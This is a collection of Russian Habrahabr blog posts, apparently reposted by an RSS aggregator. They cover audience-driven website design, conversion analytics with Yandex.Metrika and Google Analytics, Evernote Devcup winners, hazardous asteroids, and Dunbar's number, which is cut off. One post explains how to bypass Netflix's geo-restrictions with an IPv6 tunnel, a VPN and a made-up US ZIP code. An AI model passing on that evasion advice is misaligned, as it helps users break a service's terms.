Для успешных продаж важно, какое первое впечатление получит потребитель при первом посещении и насколько ему удобно будет пользоваться функциями сайта в дальнейшем. В большей степени на дизайн сайта влияет информация о потребителях. В зависимости от социального статуса посетителей, рода занятий и ожиданий должен разрабатываться дизайн, который будет производить верное первое впечатление на соответствующую целевую группу. Кроме того, дизайн должен помогать понять посетителю, что он попал именно туда, куда ему и было нужно. Именно поэтому сайт — это не место для самовыражения эстетических амбиций владельца и дизайнера, у него гораздо более прозаичная, и при этом не менее сложная цель. Важно не отвлечь ненужными в данный момент возможностями или интерактивом, а сформировать у посетителя образ того, что здесь легко найдется как раз то, что он ищет, а также создать условия для восприятия важной для целевой аудитории информации.

Структура разделов
Структура разделов в большей степени зависит от маркетингового предложения и потребностей аудитории компании. Структура помогает посетителю в навигации по разделам сайта, и поэтому она должна эффективно демонстрировать деятельность компании и ее преимущества. Также она должна способствовать максимально быстрой ориентации на сайте, в противном случае посетитель не будет тратить время на поиски и уйдет на другой сайт. При проектировании структуры необходимо решить какие разделы будут наиболее востребованы целевой аудиторией. Эти разделы должны быть как можно выше в навигационном дереве, желательно на первом уровне или вообще отдельной сущностью. Чтобы адекватно принять такое решение мало простого здравого смысла, нужно знать какие детали интересуют потребителя в продукте или услуге, какие у него возникают типичные вопросы по процессу взаимодействия с компанией, на что он обращает внимание при принятии решения. Эти данные помогают в построении структуры, которая будет эффективно направлять пользователя на важные для него страницы.

Структура информации на страницах
Структура информации на страницах вкупе со структурой сайта определяют маршрут посетителя, который должен эффективно отвечать на вопросы потребителя и приближать его к обращению или заказу. Для того, чтобы правильно спроектировать маршруты, необходимы знания о циклах принятия решения представителей целевых групп: истинные потребности, типичные проблемы, опасения, частые вопросы и т.д. Необходимы четко сформулированные конкурентные преимущества, отличающие компанию от ряда конкурентов. С помощью этих данных можно принять решение о размещении дополнительных информационных блоков, ссылок в текстах, дополнительных изображений, видео и т.д., помогающих потребителю найти ответы на свои вопросы. Структура информации влияет на этап беглого изучения пользователем страницы сайта. В этот момент глаз посетителя блуждает по странице в поиске интересующей его информации, он пока не вчитывается в тексты, а лишь пробегает глазами заголовки и замечает выделяющиеся из общей структуры блоки. Чтобы помочь ему найти нужные слова и зацепки, необходимо хорошо знать, что важно потребителю, как он это называет и что способно его заинтересовать и мотивировать на дальнейшее взаимодействие с сайтом. Также структура информации на странице определяет логику и иерархию контента. Логика и иерархия помогают не только сориентироваться на этапе беглого изучения, но и определяют последовательность восприятия посетителем информации. Это очень важный момент, так как он позволяет построить траекторию убеждения потребителя.

Тексты сайта
Тексты на сайте должны помогать посетителю принять окончательное решение об обращении или покупке, а также ответить на появившиеся вопросы. В зависимости от описания целевых групп разрабатываются такие тексты, которые будут оказывать максимальное влияние на соответствующую аудиторию. Это значит, что они должны учитывать текущее состояние потребителя, воздействовать на его чувства, формировать ценность товаров или услуг для конкретного сегмента аудитории. В зависимости от состава аудитории определяется содержание, объемы и типы текста. Текст — это речь менеджера по продажам из нашей прошлой аналогии. Если менеджер будет сухо перечислять свойства продукта, то эффект от такой продажи будет намного ниже, нежели адресное предложение, предлагающее решение конкретной проблемы и демонстрирующее персональные выгоды от приобретения товара или услуги.

Функциональные возможности
Функциональные возможности сайта в большей степени зависят от потребностей целевых групп. Часто владельцы сайтов пытаются следовать прогрессу и добавляют все новые и новые функциональные , не задумываясь об их целесообразности и востребованности у аудитории. И тем самым оказывают медвежью услугу: не нужные посетителю элементы сайта мешают восприятию важной информации, а значит отвлекают и увеличивают вероятность отказа. Функциональные возможности должны внедряться на сайт только тогда, когда эти возможности помогают посетителю решить свою конкретную задачу и удовлетворить свою информационную потребность. Например, если известно, что при поиске спортивных площадок, сдающихся в аренду, потребителю важнее всего вечернее время в будние дни, то необходимо разработать фильтр, который будет давать возможность выбирать такие условия для поиска, а не просто дату и время. Не зная потребностей своей аудитории, очень сложно продумать такие мелочи, которые оказывают колоссальное влияние на конверсии. Функциональные возможности, помимо потребностей посетителя, должны соответствовать его уровню подготовки и глубине знаний в области оказываемой услуги, а значит необходимы данные о составе и потребностях целевой аудитории.

Таким образом, эффективный сайт — это маркетинговое предложение, учитывающие состав, потребности и мотивации целевой аудитории и оформление этого предложения в виде структуры и дизайна страниц, текста и функциональных возможностей сайта.

Необходимая информация и способы ее получения

Для разработки эффективного сайта необходимы данные о конкурентной среде, потребителях, их потребностях и мотивациях.

Конкуренты
Необходимо собрать и проанализировать данные о конкурентах, реализующих схожий товар или услугу тем же группам потребителей и по приблизительно таким же ценам, как и компания-заказчик. Также требуется получить данные о компаниях, работающих на удовлетворение схожих потребностей. Например, изучая конкурентов в области установки систем видеонаблюдения, следует обратить внимание на компании, оказывающие услуги в сфере установки других охранных систем: сигнализаций и домофонов.
Данный анализ призван выделить сильные и слабые стороны конкурентов, их стратегии продвижения, детали предлагаемого продукта или услуги. На его основе можно формировать собственное предложение, которое будет учитывать рыночную ситуацию и выгодно отличаться от ряда других. Получить такого рода информацию можно из различных источников: от заказа товаров или услуг конкурентов и изучения их сайтов до общения с текущими или выбывшими сотрудниками.

Потребители, их потребности и мотивации
Первое, с чего необходимом начать — это получение данных из внутренних источников информации. Это данные о текущих клиентах, сведения об их жалобах, данные по отделу продаж, результаты бесед с руководителями, отчеты о продажах и т.п. Эта информация позволит получить общую картину и подготовить гипотезы для дальнейшей работы. Особое внимание необходимо уделить потребителю. Требуется понять кто он, откуда, сколько ему лет, каков его пол, должность или обязанности, если речь идет о b2b, каковы его финансовые возможности и т.д. Далее следует проанализировать тех потребителей, которые оставляли заявки, звонили, но так и не стали клиентами. В этом помогают crm системы, если они внедрены в компании. Эти данные помогут в разработке целевых сегментов аудитории.
Следующим шагом будет построение гипотез потребностей, мотиваций и циклов принятия решения потребителей.
Для проверки гипотез используются различные методы опросов. Чаще всего применяются:

  • Методы глубинного интервью, который представляет собой общение респондента и интервьюера по подготовленному плану;
  • Экспертный опрос, при котором происходит общение со специалистами из соответствующих направлений деятельности;
  • Опрос респондентов подразумевает заполнение анкет или ответы на вопросы респондентами-представителями целевых сегментов;
  • Фокус-группа, представляющая собой обсуждение группой участников тем, которые предлагает модератор.

Эти методы помогают не только подтвердить или опровергнуть существующие гипотезы, но и разработать новые.
Полученные в процессе исследований данные должны найти отражения во всех составляющих сайта. Также отдельные положения могут быть представлены в виде гипотез, которые будут последовательно проверяться через акции и спецпредложения. Лучшие гипотезы должны найти свое место в постоянной части ресурса.

Заключение

Очень часто доводится слышать от представителей заказчиков примерно такие слова: «мы и так знаем своих потребителей. Благо, работаем уже не первый год. И надо им только одно — низкая цена. У кого ниже, у того и берут. Просто сделайте нам сайт посимпатичнее». Это типичные заблуждения. Во-первых, чаще всего никто не может предоставить систематизированных данных о потребителях и их потребностях, и все «знания» построены на ощущениях менеджеров. Во-вторых, мало знать своих клиентов, не менее полезно узнать о тех, кто не стал по каким-то причинам работать с компанией. А это как раз те люди, которых что-то не удовлетворило в предложении на сайте, и таких большинство. Именно за них ведется , и чтобы в ней одержать победу, нужно понять кто они и чего хотят. Если им продолжать предлагать то, что привлекло старых клиентов, то никогда не удастся привлечь новых. В-третьих, процесс принятия решения потребителем очень сложен и на него влияют множество факторов. Если бы значимость цены была бы такой высокой, то все покупки в каждой из отраслей осуществлялись бы на одном сайте, на котором была бы самая низкая цена. В жизни так не происходит, а крупнейшие игроки чаще всего предлагают далеко не самые низкие цены. Данные маркетинговых исследований, в случае их правильного использования на сайте, направлены на то, чтобы повлиять на неценовые факторы предложения и мотивировать посетителя прекратить дальнейший поиск и обратиться в компанию. Поэтому, маркетинг и предложение стоит первым в цепочке процесса продаж через интернет, и именно он определяет целесообразность всех составляющих сайта, в том числе и дизайна.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Битва за конверсию

В предыдущей статье мы рассказали о том, как привлечь аудиторию через собственную партнерскую программу. Теперь нужно довести новых посетителей до целей, ради которых затевался ваш сервис.

Мы проведем публичных инструментов, которые мы использовали, чтобы повысить конверсию Бурук на 25% и сделать пользователей немного счастливее. В конце — про новинку от Google Analytics, которая позволяет связать онлайн источники трафика с оффлайн конверсией.

Работа над повышением конверсии состоит из нескольких этапов. Какой из них важнее — сразу и не скажешь, важно, что работа происходит итеративно и информация, полученная на предыдущей итерации, используется для следующей.

Повысить конверсию просто.
Для это нужно:
  • понять какие цели есть на сайте.
    Цели могут быть, по крайней мере, двух типов — конечная и промежуточная. С конечной целью все понятно: для интернет-магазина — это покупка, для Групона — регистрация, и т.д. Но на пути к этой цели может быть много промежуточных этапов.

    ВАЖНО! Ваши цели и цели пользователя — не всегда совпадают! Крутой робустный бекэнд и простая процедура покупки — не синонимы! Думайте о пользователе и как пользователь. Даже если он неопытный.

    Наши пользователи хотят в Таиланд, мечтают полететь туда (другие dream destinations — Барселона, Париж, Рим), много-много раз ищут билеты, сравнивают отели, но покупают только через несколько месяцев. В этом случае путь от промежуточной до конечной цели растягивается на большой срок и эту цепочку необходимо отслеживать.
  • определить точки входа и их различия.
    Пользователи, пришедшие из поиска, и постоянные посетители могут ожидать разной информации от сервиса.
  • пройти все возможные пути от входа до цели.
    Но всё пройти невозможно! Поэтому нужно определить наиболее важные пути и максимально их упростить.
  • меняться и наблюдать и тыкать палочкой.
    Это самое интересное, на этом этапе повторяются первые три этапа по кругу, собирается максимум информации, радуемся результатам.

Описание инструментов для наблюдения и внесения изменений.
Для бурук наши основные цели — начало поиска, подписка на рассылку, переход к агенту из поисковой выдачи и самая важная, но отложенная по времени цель — покупка авиабилета. Отложенные цели стало возможно отслеживать совсем недавно и это очень крутая фича. О том, как использовать отложенную конверсию — в конце статьи.

После того, как цели расставлены, необходимо собрать статистику исходной конверсии, от неё мы будем плясать и её мы будем повышать. В зависимости от количества целей, посещаемости проекта и частоты транзакций, период сбора начальных данных может занять от пары часов, до пары недель.

Расставленные цели помогут не только понять эффективность работы, но и просигнализируют о проблемах на сайте. Например, благодаря отчету по конверсии в IE, мы узнали, что JS работает “немного” неправильно — половина пользователей перестала добираться до цели.



Цели есть, исходные данные есть — в бой! Посмотрим на инструменты, которые помогут в этом деле.

Начнем с Яндекс.Метрики
Метрика дает несколько крутых инструментов для in-page аналитики, позволяя понять, что мешает пользователю разобраться в конкретной странице.

Аналитика форм — один из главных инструментов для интернет-магазинов и сервисов с нетривиальной регистрацией (хотя она сама по себе — неправильна, но иногда необходима). Инструмент показывает сколько пользователей начало заполнять форму, сколько дошло до конца и где остановилось большинство. Отличная штука, позволяет дать программистам по рукам и сделать формы более человечными.
Карта кликов — куда реально кликают ваши пользователи, что им интересно и как они используют вашу навигацию.
Карта скроллов — сразу ясно до какой высоты “работает” страница. Чем больше контента в слепой зоне — тем больше нужно исправить.
Карта путей по сайту — позволяет понять как пользователь приходит на сайт, куда идет и за сколько шагов до цели теряется на пути.

Эти инструменты больше работают на статически-статистический анализ, при сборе первичных данных их нужно использовать на больших промежутках — неделя, месяц, так можно идентифицировать все возможноные затыки и нелогичности поведения пользователей, вызванные кривостью страницы.

Пример из того, над чем мы сейчас работаем — неправильно построенное главное меню. Пользователи не хотят “Улететь на праздники”. Они хотят интересных акций и гибкого поиска. А спецпредложения, возможно, достойны большего внимания. В форме поиска заметно, как работает определение города по IP — город прилета меняют значительно чаще.



Карту кликов без дополнительных настроек удобно применять для страниц, подобных главной. Но что делать, если на вашем сайте имеется большое число однотипных страниц, размещенных на разных URL-ах, а между тем хочется видеть общую картину поведения пользователей на этих страницах? Тут на помощь приходит urlFilter, о котором сказано в официальной документации, до которой, впрочем, добирается не каждый. С помощью фильтра вы можете группировать множество страниц в одну. Например, все страницы поиска на буруках мы “схлопываем” в группы по городу/аэропорту вылета: /search/mow/rom/2013-09-09/2013-09-15/1/-/-/e/ > /search/mow.

Пример кода настройки:

<code class="javascript">yaCounter.clickmap({
    urlFilter: function(urlOrig) {
        var url = window.location.pathname.toLowerCase(),
            prefix = 'http://' + window.location.host;
    	   if (url.substr(0, 8) === '/search/') {
            return prefix + url.substr(0, 11);
    	   }
    	   // прочие группировки
    	   // ...
    	   return urlOrig;
    }
});
</code>

В отчете эти страницы будут видны с полными урлами, но при переходе в плеер — результат будет общим для всех страниц.

Следующий инструмент — карта скроллинга. Рассмотрим снова нашу главную страницу.
По скроллингу видно, что главная страница сделана правильно. На экран самых популярных ноутбуков попадают основные элементы (обратите внимание на столбик справа — чем краснее, тем больше пользователей видят страницу). Если вы видите такую же картинку у себя, с четкими границами количества просмотров — это повод задуматься над добавлением “маячков”, которые подтолкнут пользователя к прокрутке страницы. Мы как раз думаем.



Вебвизор — это уникальная функция (она еще и бесплатная!) Метрики. Вебвизор когда-то был отдельным продуктом, но в 2010 Яндекс купил код вместе с командой и с 2011 года эта функциональность органически дополняет инструментарий Метрики.

Вебвизор позволяет просматривать все действия пользователей в записи — переходы по ссылкам, заполнение форм, дерганье мышкой (это отдельный забавный бонус, который подсказывает, что пользователю грустно и было бы неплохо развлечь его полезной информацией).

Вебвизор вступает в игру после того, как найдена страница, на которой “отваливаются” пользователи и нужно понять, почему пользователь не нашел правильного пути до цели.

Теперь немного о GA

Сейчас гугл переориентирует Analytics с чистой статистики на платформу для проведения юзабилити экспериментов и АB тестов. Функционал огромен, про него даже книжка есть на 1500 страниц.

Недавно мы перешли на Univeral Analytics, это будущее Google Analytics. Предыдущая версия трекинга не будет обновляться, если вы используете старый код — нужно его обновить. Еще не все функции Universal работают корректно (сейчас они в публичной бете), но новинки настолько приятные, что мы не стали затягивать переход. Новая Аналитика работает быстрее, предоставляет бОльшие лимиты, позволяет передавать свой идентификатор пользователя, дает возможность отправлять запросы с backend-а и др. Кроме того, новые возможности аналитики гугл будет реализовывать уже только в Universal Analytics.

Нас интересует раздел конверсий


Три последних пункта (Reverse Goal Path, Funnel Visuzlization и Goal Flow) позволяют получить общую картину происходящего на сайте даже для очень крупных проектов.

В поддержку к этим пунктам, при правильно расставленных событиях можно получить картину прохождения пользователя по сайту.

В нашем случае диаграмма выглядит примерно так



А теперь о самом крутом и самом свежем в GA — новых возможностях передачи событий с сервера и отслеживания любых событий, происходящих “оффлайн”!

На Буруках мы ищем авиабилеты по агентствам, но сами ничего не продаём, как Яндекс.Маркет. Покупка происходит после перехода от нас к агенту, мы этот процесс никак не контролируем и не можем размещать свой счетчик на страницах агента. Через какое-то время (иногда минуты, иногда часы) к нам приходит статистика продаж.
Проблема в том, что при такой схеме работы совсем не ясно, какой именно источник принес реальную продажу.

Гугл решает это проблему для нас и для всех, у кого транзакция происходит в оффлайне.

Гугл унифицировал интерфейс взаимодействия с серверами аналитики. Все запросы идут на URL www.google-analytics.com/collect и принимают одинаковый набор параметров, независимо от того, работаем мы на frontend-е или на backend-е. Единственное отличие состоит в том, что в js-е у нас в распоряжении уже готовая удобная функция-обертка, с помощью которой мы, например, можем отсылать события:

<code class="javascript">// подключение analytics.js
ga('create', 'UA-XXXX-Y');
ga('send', 'event', 'category', 'action', 'label', value);
</code>

На стороне сервера же весь запрос отсылается как POST payload, кодированный в form-urlencoded (переносы строк в пример ниже добавлены для наглядности):

POST /collect HTTP/1.1
Host: www.google-analytics.com

v=1
&tid=UA-XXXX-Y
&cid=555
&t=event
&ec=category
&ea=action
&el=label
&ev=value

Внимательный читатель обратит внимание на дополнительный параметр cid — client ID. Это опять-таки новая возможность в Universal Analytics. Если раньше определение, что такое “посетитель”, было привилегией самого аналитикса, то теперь мы можем вручную указать свой id. На буруках так и сделано: для каждого посетителя мы создаем visitor-а и соответственно в аналитикс посылаем его ID. Благодаря этому мы имеем возможность точно отследить действия, происходящие уже после того, как пользователь покинул сайт. В нашем случаем — это выписка авиабилета, занимающая от 2-х минут до нескольких часов.

Для желающих испытать оффлайн трекинг у себя оставляю ссылку на официальную документацию.

Этот способ можно применять, допустим, для конференций, магазинов или концертов — раздаёте на сайте уникальные купоны пользователям, а позже дергаете GA по событиям, когда пользователь дошел до реального заведения и совершил действие.

Работа над конверсией бесконечна. Как только на сайте появляется новый раздел, новый функционал или крутое спецпредложение — нужно начинать работы по улучшению юзабилити, повышению конверсии и упрощению сайта.

Интересной борьбы и красивой победы!

P.S. Если вы уже используете оффлайн аналитику от гугла — поделитесь кейсом в комментариях. Тема новая, потенциал сумасшедший.
P.S. Мы ищем django-python в Питере — hantim.ru/jobs/21698-python-django-razrabotchik, откликайтесь или ждем писем на andrew.novoselsky@gmail.com!

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Первые результаты чемпионата разработчиков Devcup 2013: победители в номинациях



С помощью Evernote можно делать миллион вещей, но сам Evernote — только одно приложение и не может справиться со всем на свете. К счастью, наше активное сообщество разработчиков и дизайнеров постоянно генерирует идеи, приложения и сервисы, расширяющие возможности Evernote для пользователей.

Каждый год мы можем наблюдать всплеск творческой активности этого сообщества, когда начинаем соревнование для разработчиков — Evernote Devcup. В этом году команды представили к участию более 180 приложений и сервисов.

Чтобы отметить лучшие работы, представленные на Devcup, мы предусмотрели награды в нескольких номинациях, соответствующих популярным сценариям использования Evernote, а также несколько наград за технические и дизайнерские достижения. Эти приложения отмечены наградами за отличные новые возможности, открываемые пользователям Evernote. Они служат хорошими примерами того, на что способна платформа Evernote.



Каждая из команд, одержавших победу в какой-либо из номинаций, получит приглашения на нашу третью ежегодную конференцию EC3. Там у команд будет возможность пообщаться с нашими разработчиками и дизайнерами и представить свои проекты журналистам и инвесторам. Кроме того, каждый победитель в номинации получит кредит на $1000 в Amazon Web Services, чтобы обеспечить хостинг для своих растущих проектов.

Мы рады представить вам победителей во всех номинациях Devcup 2013:

Лучшая интеграция с Evernote Business: SmartTM


SmartTM, Польша – Посмотреть видео

SmartTM — органайзер задач, построенный в соответствии с методологией GTD. SmartTM тесно интегрирован с Evernote, включая напоминания и бизнес-блокноты. SmartTM это мощное и многофункциональное решение, разработанное специально для бизнес-пользователей.

Достижения в дизайне: Bubble Browser


Bubble Browser, Польша – Посмотреть видео

Bubble Browser — приложение, которое позволяет визуализировать ваш блокнот Evernote. Решение предлагает красивый визуальный поиск по вашему аккаунту, предлагая оригинальным способом находить информацию и связи между вашими данными в Evernote, которые без приложения вы могли бы и не обнаружить.

Лучшая техническая интеграция: Hop.in


Hop.in, Чили – Посмотреть видео

Hop.in это мобильный браузер и веб-клиппер, который позволяет копировать понравившийся контент в Интернете и синхронизировать его с Evernote. При этом Hop.in позволяет пользователям точно определить, какую информацию на странице они хотят скопировать, и выбрать отдельные мультимедийные элементы для отправки в Evernote. Технология умного копирования Hop.in сделала продукт победителем в номинации на лучшую техническую интеграцию этого года.

Образование и исследования: biscuit


biscuit, Южная Корея – Посмотреть видео

Biscuit это простое приложение для перевода, которое позволяет пользователям копировать слова со своих мобильных устройств. Приложение быстро переводит слова на несколько языков и затем синхронизирует их с Evernote в удобном для изучения формате.

Семья: BabyWaa


BabyWaa, Южная Корея – Посмотреть видео

BabyWaa — мультиплатформенное приложение, которое позволяет родителям записывать моменты жизни новорожденных. Функциональность приложения позволяет как делиться фотографиями и информацией в социальных сетях, так и сохранять избранные моменты в Evernote для безопасного хранения на будущее.

Еда и кулинария: Grocerytrip


Grocerytrip, США – Посмотреть видео

Grocerytrip — умный мобильный органайзер для списков покупок. При копировании рецептов и другой информации из Интернета Grocerytrip автоматически определяет ингредиенты, которые нужно купить и формирует список покупок, который снихронизируется с Evernote. Так, к следующему походу в магазин или на рынок у вас уже все будет под рукой.

Безбумажное будущее: Lightly


Lightly, Гонконг – Посмотреть видео

Lightly это мобильный веб-клиппер и приложения для выделения фрагментов текста, которое позволяет пользователям сохранять заинтересовавшую информацию из Интернета в Evernote. Удобное копирование и возможность отметить важные моменты текста в Lightly дают лишний повод отказаться от распечатки интересных статей для чтения и пометок маркером.

Фотография: Cooliris


Cooliris, США – Посмотреть видео

Cooliris — фотобраузер, имеющий веб-версию и приложение для мобильных устройств. Он синхронизируется Evernote и другими облачными платформами, позволяя пользователям легко делиться фотографиями с помощью встроенного чата.

Продуктивность: Context Booster


Context Booster, Германия – Посмотреть видео

Context Booster — умный помощник при работе в Evernote. Приложение ищет в Интернете информацию, связанную с вашими заметками Evernote. С его помощью можно заполнить свои блокноты дополнительными данными, связанными с заметками, которые вы создаете, что делает приложение отличным ассистентом при исследовательской и писательской работе.

Публикации: Postach.io


Postach.io, Канада – Посмотреть видео
Postach.io — мощный инструмент для блоггеров, который позволяет публиковать ваши записи прямо из Evernote. Просто присвойте законченной записи метку “published”, и она появится в вашем блоге. Postach.io предлагает удобный интерфейс и несколько привлекательных макетов для блога.

Путешествия: Xing


Xing, Тайвань – Посмотреть видео

Xing — приложение для путешественников с потрясающим дизайном и интерфейсом, использующее геолокационные данные. Оно интегрировано с Evernote и позволяет синхронизировать блокноты, посвященные различным поездкам. Xing также умеет напоминать вам о тех или иных вещах по прибытии в пункт назначения, что очень удобно в путешествиях.

Совместная работа: Mural.ly


Mural.ly, Аргентина– Посмотреть видео
Mural.ly — многофункциональный инструмент для совместной работы над идеями в Интернете. Пользователь может добавить исходную информацию из своего Evernote, чтобы поработать над ней в команде. Mural.ly — творческий бизнес-инструмент, упрощающий организацию мозгового штурма.

Что дальше?
Совсем скоро, 16 августа три наших партнера — Docomo Innovation Ventures, Honda Silicon Valley Lab и Wayra Accelerator — анонсируют победителей в своих номинациях, которым эти компании также проспонсируют поездку на EC3.

Также 16 августа мы объявим результаты отбора шести финалистов Devcup из числа перечисленных выше победителей в номинациях. Финалисты смогут презентовать свои продукты перед всей аудиторией EC3 в сентябре. Кроме того, именно там мы объявим обладателей первого, второго и третьего места Devcup, а также сообщим, какие команды примут участие в нашей программе Evernote Accelerator в октябре.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Потенциально опасные астероиды


Несмотря на то, что опасность, исходящая от астероидов, оценивается в планетарном смысле как не серьёзная (создатели «Армагеддона» или челябинцы, конечно, поспорят с этим), НАСА всё равно отслеживает траектории ряда крупных небесных тел, хотя и жалуется при этом на недостаток финансирования.

Наблюдение за астероидами осуществляется по следующими принципам: если объект находится или будет находиться на расстоянии, меньшем чем 7,4 млн км (4.6 млн миль) и диаметр которого превышает 100 метров (350 футов), то агенство классифицирует его как «потенциально опасный объект» (potentially hazardous objects — PHO). Если выясняется, что речь идёт о твёрдом теле (другими словами, астероиде), то объект реклассифицируется как «потенциально опасный астероид» (Potentially Hazardous Asteroids — PHA) и включается в список непрерывного наблюдения. Хотя этот список (взглянуть на него можно тут; там же можно посмотреть и 3D-визуализацию траекторий) и ограничивается финансовыми возможностями НАСА, на данный момент он включает в себя 1397 позиций.

На картинке в заголовке поста представлена уменьшенная версия графического изображения, подготовленного инженерами НАСА, для наглядного представления того, с чем именно приходится иметь дело в процессе отслеживания астероидной угрозы. Сложность технических мероприятий становится более осязаемой для налогоплательщиков и осознание того, как Земле всё-таки везёт последние пару тысяч лет, более явным.

Под катом находится jpg-версия схемы размером в 3254 x 2613 пикселей и ссылка на полновесное TIFF-изображение в 25.52 Мб.


Оригинальная ссылка.



Full-res TIFF

[Источник]

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Доступ к Netflix по IPv6 из вне Штатов



Одно время я очень интересовался вопросом как бы получить доступ к американскому (в первую очередь) телевидению из Москвы, но так и не нашел тогда ответа. Спутники все за горизонтом, да и в любом случае легально тот контент в Европе не продается. Почему то я тогда не знал про Netflix и подобные сервисы, хотя это и не совсем телевидение. Американское телевидение меня интересовало в первую очередь для развития английского, во вторую потому что там все самое интересное, все сериалы которые я тогда смотрел, так сказать приятное с полезным. Торренты конечно никто не отменял, но это надо что то делать, искать, качать, знать что искать. Гораздо сложнее чем нажать одну кнопку и, отправив телек в бэкграунд мозговой активности, продолжить заниматься домашними делами. Прошло несколько лет, телевидения на английском теперь у меня есть, но к сожалению воз и ныне там — точнее как вкусный контент был ограничен одной страной, так и остается. Новая Зеландия агитирует использовать прокси для обхода гео-защиты, недалеко за ней Австралия которой тоже не вполне нравится быть не в теме. Не знаю как с этим дела в старушке Европе, хотя там все равно английский никому не родной да и с контентом получше.
От части понятно откуда берутся такие на первый взгляд глупые ограничения — локальная дистрибуция контента не только упрощает жизнь большим компаниям-контентопроизводителям, но и создает локальные рабочие места благодаря которым существуют маленькие, но гордые компании вроде недавно упомянутой в суе Кино без Границ. Пусть 10 человек, но при деле. Но всем остальным конечно от этого ни жарко ни холодно. В общем дилемма не совсем уровня Автоваза, но из той же примерно серии.
Ну да хватит ныть, речь не о том. Кому надо те уже давно все нашли и смотрят, кому нет — может будет интересно поиграться.


Собственно все это каким то подсознанием проскочило у меня в голове за микросекунды когда я пытался понять зачем мне дома нужен IPv6. Я работаю с сетями, мне было интересно с ним поиграться, но не было понятно будет ли от этого хоть какая польза чтобы оправдать инвестиции. Роутер я себе тогда все же купил — Cisco 1841 б\у за 100 долларов на ебее с доставкой. Этот зверь, которому 100 лет в обед, почему то до сих пор жив и даже поддерживает 15-ю IOS, эдакий 2950 только роутер. 2950 я кстати купил чуть позже за 30 :)

Добыть IPv6 большого труда не составило, тут много раз писали как это делается. Hurricane Electric, туннель, и ваша личная /48 (ну, не совсем личная, но в вашем распоряжении) сеть к вашим услугам. Плюс еще одна /64 для туннеля с двумя адресами, надо же их девать куда то… То, что /48 не совсем личная — скорее хорошо, потому как определяться она будет как HE, а значит как находящаяся в Америке. Что нам собственно и нужно.

Netflix похоже вполне неплохо поддерживает IPv6, ну это в общем то известно, за исключением правда одного адреса который по счастливой скорее всего неслучайности оказался адресом сервера авторизации.

C:\>nslookup signup.netflix.com
Server: ordns.he.net
Address: 2001:470:20::2
Не заслуживающий доверия ответ:
ecweb--frontend-302252202.us-east-1.elb.amazonaws.com
Addresses: 184.73.162.201
23.21.178.236
23.23.242.206
Aliases: signup.netflix.com

То есть без обычного ip все таки никак. Найти открытый vpn сервер в Штатах, который можно было бы подружить с роутером, мне навскидку не удалось, потому пользовался бесплатным vpngate.net и клиентом на компе. Серверы там я так понимаю поддерживаются энтузиастами, стабильность никакая, скорость тоже, но нам оно получается и не надо. Создав аккаунт (ZIP можно указывать любой, но он должен быть настоящим, так же надо указать кредитку хотя она первый месяц и не потребуется) и залогинившись VPN можно выключить, все остальное продолжает работать поверх V6. Если V6 не работает, то Netflix опять начнет ругаться что service is not available in your country yet.
В принципе такое решение годится чтобы смотреть его на компе, что конечно не супер вариант но все же. Не знаю сколько там будут жить куки, но похоже довольно долго, так что каждый день перелогиниваться не потребуется.

Для тех, кто не является энтузиастом IPv6, на самом деле давно оказывается есть слегка платные (5$ в месяц) сервисы типа unblock-us.com. Гениально и просто — меняешь DNS сервер и нужные адреса пойдут через неведомые прокси. Не очень хорошо в плане безопасности, но для какого нибудь Apple TV вполне пойдет. Последний я так и не смог заставить работать поверх v6, похоже эта чудесная коробочка не особо хорошо его поддерживает. Но надо покопать поглубже, мало ли. В любом случае надо будет как то обходить сервер авторизации, на apple tv же VPN клиента не запустишь…
Для совсем озабоченных есть уже сильно платный ustvnow.com, это уже телевидение, а не просто VOD, разумеется если вы US citizen временно проживающий за границей ;)

Нужно все это или нет в общем то вопрос сильно личный, но по крайней мере есть хотя бы одно относительно полезное применение IPv6 на текущий момент, хоть и не полностью самодостаточное. Кроме этого я пока заметил только Google и Gmail из постоянно мной используемых сайтов, которые поддерживают V6. Но кроме периодических проблем с аторизацией это ничего нового не приносит.

Размышления на темы приветствуются :)

PS. не уверен насчет хабов, вроде более или менее по тематике cisco и iptv

Простейший конфиг циски

interface Tunnel0
description Hurricane electric
no ip address
ipv6 address 2001:470:xxxx:2/64
ipv6 enable
ipv6 inspect IPV6 out
ipv6 traffic-filter IPv6 in
tunnel source Dialer1
tunnel mode ipv6ip
tunnel destination 66.220.18.42
end

IPv6 access list IPv6
permit icmp any any unreachable sequence 10
permit icmp any any packet-too-big sequence 20
permit icmp any any hop-limit sequence 30
permit icmp any any reassembly-timeout sequence 40
permit icmp any any header sequence 50
permit icmp any any next-header (4 matches) sequence 60
permit icmp any any parameter-option sequence 70
permit icmp any any echo-request (117 matches) sequence 80
permit icmp any any echo-reply sequence 90
permit icmp any any dhaad-request sequence 100
permit icmp any any dhaad-reply sequence 110
permit icmp any any mpd-solicitation sequence 120
permit icmp any any mpd-advertisement sequence 130
permit icmp any any nd-na sequence 140
permit icmp any any nd-ns sequence 150

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Число Данбара и пользователи ВКонтакте

Robin Dunbar with a Neaderthal skullНедавно я наткнулся на такую удивительную штуку как число Данбара.
История такова. 20 с лишним лет назад, когда выражение «британские учёные» ещё не было мемом, антрополог Робин Данбар, изучая данные по человекообразным обезьянам, обнаружил, что численность их стаи подчиняется определённому закону. Есть максимальное количество членов стаи. Если стая рарастается и её численность превышает порог, она разделяется на две. Причём для разных видов этот предельный размер получается разным.

Данбар предположил, что дело в социальных отношениях между членами стаи, которые у обезьян хорошо развиты (например, стая разделяется на клики «близких друзей», которые помогают своим членам при конфликтах). Чтобы держаться вместе, каждая обезьяна должна знать каждого члена своей стаи: кто он, в каких отношениях состоит с остальными. И возможность обработки такой социальной информации ограничена размером мозга, а точнее его части — неокортекса. Обработав данные по нескольким видам, Данбар действительно обнаружил корреляцию. А так как мы с вами тоже приматы, он смог экстраполировать данные на человека и получил то самое число Данбара — максимальное количество людей, с которыми человек может поддерживать стабильные социальные отношения. Оно получилось раным примерно 150.
Как бывает со всеми «магическими числами», как только его обнаружили, оно начало всплывать повсюду: в численности племён первобытных охотников и собирателей, в размере древнеримских армейских подразделений, в численности современных компаний и даже в количестве людей, которым средний англичанин отправляет открытки к Рождеству. Более того, его начали активно использовать в разных областях: от проектирования социальных сетей до реорганизации налоговой службы Швеции.

